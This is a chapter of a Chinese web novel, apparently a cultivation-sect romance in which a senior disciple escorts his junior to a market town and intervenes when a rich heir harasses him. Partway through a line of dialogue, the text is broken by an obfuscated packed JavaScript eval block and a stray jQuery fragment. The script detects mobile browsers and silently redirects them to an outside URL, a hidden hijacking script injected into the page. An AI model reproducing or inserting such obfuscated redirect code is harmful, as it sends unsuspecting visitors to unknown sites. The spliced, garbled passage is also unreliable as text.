可他在心里把最近做的事都盘算了一遍,却怎么都没觉得自己做了什么不对的事情。
无奈,归景只能摇摇头,把这件事抛在脑后。
几天后,岑无虞叫他过来,说宗门收到了消息。
月底,几个大宗门要在云栖城举办一次论道会,清玄宗作为七大宗门之首,自然名列受邀之列。
“我作为代理宗主,得去一趟。“
归景点了点头,表示了解。
不过……大师兄来找他就为了说这个?
岑无虞顿了一下,又道:“你跟我一起去。“
归景手上的动作停了。
岑无虞连忙解释:“云栖城周边繁华,各地弟子汇聚,论道之余,城里也有集市庙会类活动。”
而且,这也是个向小师弟袒露心声的好机会。
岑无虞看向归景的眼神里,是他自己都没察觉到的宠溺。
但归景却来不及细想岑无虞的表现,脑子里已经先被另一件事填得满满当当。
云栖城!城池!集市!庙会!!!
“我能去?“他努力压住那点激动,“可是我的毒……“
“你体内的毒压得不错,而且云栖城周边繁华,论道之余,城里也有集市。“
归景低头,深呼吸了一下。
好耶好耶!能出去玩了!!!
他的嘴角止不住地上扬:“什么时候出发?“
岑无虞把少年的笑容收进眼底,把嘴角压了压:“三日后。“
这次出行,并没有像归景来宗门时和师尊那样御剑飞行,岑无虞很贴心地准备了灵舟。
灵舟不小,里头铺着软垫,窗棂雕着云纹,透过窗子能把沿途的山水一览无余。
归景抱着一包零嘴,往窗边一靠,把腿伸直了舒舒服服地坐着,嘴里嚼着一块蜜渍果脯,眼睛往窗外看去。
连绵的山,穿云的雾,偶尔一两道飞鸟掠过,衔着风一闪就不见了。
他嚼着嚼着,头往窗棱上一搭,哼起了小曲。
调子不太正经,是他上辈子听过的某首歌,词早就记不全了,剩了一截旋律,被他胡乱接着往下哼,哼错了也不管,自顾自地继续。
岑无虞坐在对面,手里拿着一本册子,眼睛却没在看那上面。
他不知道归景哼的是什么曲子,调子也乱,时不时断一截,但少年清脆的声音在灵舟里飘着,不知为何,听起来叫他身心舒畅。
“大师兄,“归景忽然开口,“云栖城热不热闹?“
“热闹。“
归景满意地把脑袋重新搭回窗棱上,继续哼他的小曲,头顶那撮呆毛随着灵舟的轻微颠簸悠悠晃了两下。
岑无虞把视线从他身上收回来,低头翻了一页册子,想了想,开口道。
“那日你去登记弟子信息后……“他顿了一下,“我去看过你的信息。“
归景侧过脸,“嗯“了一声,表示在听。
“你的生辰在这个月,但你只写了月份,没写日子。“
“所以是哪一天?“
归景眨了眨眼,大师兄还真是关心他,连这种小事都要亲自过问。
他完全没想那么多,随口道:“就是这个月初九,怎么了?“
“没什么。“
岑无虞把那本册子往腿上搁平,低头,在心里把初九这两个字认认真真压进了最深处。
他一直没有刻意讨好过别人,活了几百年向来如此。
但小师弟不一样,小师弟喜欢他送的东西。
上次那把灵剑,小师弟收下来时眼睛亮晶晶的,他看得清清楚楚。
那他就好好备一份,备一份配得上小师弟的东西。
窗边,归景已经重新扭过了脑袋,嘴里顺手又塞了颗果脯,继续往外看他的风景。
灵舟落稳的时候,归景趴在窗边,眼睛一下子亮了。
云栖城比他想象的还要热闹三分。
论道会临近,各宗门弟子纷纷汇聚于此。
街市上既有寻常百姓来来往往,也有修士三两成群,叫卖声、谈笑声和风铃声搅合在一处,从街头一路铺展到看不见的地方,热腾腾的。
灵舟还没停稳,归景就已经往下跳了。
他踩在青石板路上,仰起头,两眼发光地把眼前这条街从头到尾扫了一遍。
好家伙,只一条街,最少也有十七八个摊子!
他回头冲岑无虞摆了摆手,语速很快:“大师兄你去忙,我先转转!“
话没说完,人已经往人群里钻进去了。
岑无虞站在灵舟边上,看着那道背影三两步就融进了人群,无奈地垂了下眼,但嘴角还是弯了那么一点点。
他在归景身上悄悄落了一缕灵息,随后收好灵舟,去安顿清玄宗这次的住处。
既然是他喊小师弟来的,那他定要把一切都安排妥当,让小师弟住得舒心。
等到他安排妥当之后,才循着那缕灵息的方向往归景所在的地方走去。
然而他还没走近,就先听见了小师弟的声音。
不是想象中归景欢欢喜喜逛集市的声音,而是夹杂了怒意的声音。
“你***有没有听懂人话!”
我都和老板说好了!”
“你哪儿来的,就滚回哪儿去!!”
归景下来灵舟之后,街上逛了小半条街,被一个卖法器的摊子钉住了脚。
那摊子正中间摆着一柄青玉扇,扇骨细腻,展开来扇面上隐着几道灵纹,看着就适合拿在手里潇洒地一甩,端的是风流倜傥。
这个,可太适合帅气的归小景了!
他兴冲冲地去和老板谈,谈到一半,才拍脑袋想起来一件极其尴尬的事。
他跳下灵舟的时候走得太急,一个灵石都没带。
归景在心里默默给自己算了一笔账,再看看那柄扇子,决定把随身带着的一块玉佩先压给老板,等他去跟岑无虞取了灵石就回来买。
老板是个老实人,看了看归景,又看了看那块玉佩,点头说成。
可两个人刚把这事说定,旁边就冒出来了个不速之客。
那人体型肥胖,一张脸油光满面,圆滚滚地往旁边一挤,眼珠子往归景身上落了一眼。
这肥头大耳的家伙立刻来了精神,张口就是:“哎,这位小哥,竟长得这样好看。”
归景下意识往旁边蹭了半步,皱起眉头。
那人浑然不觉,又凑近了,视线往那柄扇子上一扫,直接扭头跟老板道。
“这扇子我买了,多少钱,照价给你。”
“诶,梁小少爷,”老板面有难色,“我刚才已经和这位小哥说好了……”
那人毫不在意地把一把灵石拍到桌上,“我的灵石难道比不上他的玉佩?”
归景把脸沉了下来:“我说这位兄台,是我先
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498001|202597||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来的,而且我们都已经定好了,你这样做不太合适吧?”
那人这才重新把视线落到归景脸上,上上下下打量了一番,嘴角扯了个极让人不适的弧度。
“啧啧啧,这小脸白嫩嫩的,可比那扇子好看多了……”
归景往后退了一步,脸上的神色愈发不好看。
“你要是缺灵石,”那人凑上来,皮笑肉不笑,“跟着哥哥我呀,要什么没有?”
归景深深吸了一口气,撸起了袖子,于是就有了岑无虞走近时听见的那通骂声。
他骂得很带劲,嘴皮子利索,指着对方鼻子把人骂了个痛快。
可谁曾想,那人非但不生气,反而笑着往前凑,一把扯住了归景的手腕往自己这边拽。
“放开!你不要脸!!”
归景脸涨得通红,拼命挣扎。
可他才刚开始修炼,根本撼不动那人半分,两个人就这么僵持着,归景的手腕都被捏出了红印子。
就在这时,一旁看热闹的人群稍稍往两边让开,一道人影步履不疾不徐地走了过来。
白色衣袍,腰间挂剑,五官清俊,眼睛很冷。
那双冷眼往归景被人攥住的手腕上一落,脸色即刻就变了。
他抬手,一道灵力无声无息地拍出去。
“砰——“
那胖子直接被推飞出去,砸进了摊子边上的一堆木架子里,稀里哗啦带倒了一片,铺子里好些摆出来的法器跟着摔落在地。
归景先愣了一下,随后转过头,正正好看见了岑无虞。
他整个人冲了过去,在岑无虞面前站定,气还没匀,就开始一股脑地往外说。
“大师兄你来了!那个人他、他抢我要买的扇子!还非要……非要……”
他越说越气,把那只被捏红了的手腕直接往前一伸:“你看看,都是他弄的!”
岑无虞低头,把那截手腕看了一眼,面色更冷。
他没说话,慢慢把那只手腕托住,两根手指轻轻压了压,然后开始仔细地揉。
手指的温度稳而暖,一点点把那股红意往周围散开。
归景叽叽咕咕地还在控诉,岑无虞一边听,一边把视线抬起来,落到那边正在骂骂咧咧往起爬的胖子身上。
那眼神和揉着归景手腕的那双手形成了奇异的对比。
手是轻的,眼神是冷的,轻到像怕多用一分力就会弄疼对方,冷到像是淬了寒气的剑刃。
那胖子一边爬起来,一边骂着什么,店老板从柜台后头出来,脸色发苦,搓着手道。
“这位客官,这位是云栖城梁家的少爷,他家在这城里根基深厚,您二位还是……快些离开,省得闹大了对大家都不好……”
话里话外的意思就是:你们惹不起,快走吧。
那梁家少爷拍了拍衣袍,得意洋洋地哼了声。
他把岑无虞从头到脚扫了一眼,见他衣袍简素,并无什么名贵饰物,嘴角扯出一个嘲讽的弧度。
“嗬,就这打扮,也不过是个穷剑修罢了。”
那梁少爷把视线转向归景,语气油腻。
“跟着他能有什么好日子过?”
“小美人倒不如跟了哥哥我,灵石、灵药、宝器,要什么有什么,这辈子不愁吃穿。“
说完,他顿了顿,又看向岑无虞。
“可别怪我没提醒你,当心哪天护不住他,才是真的丢人。”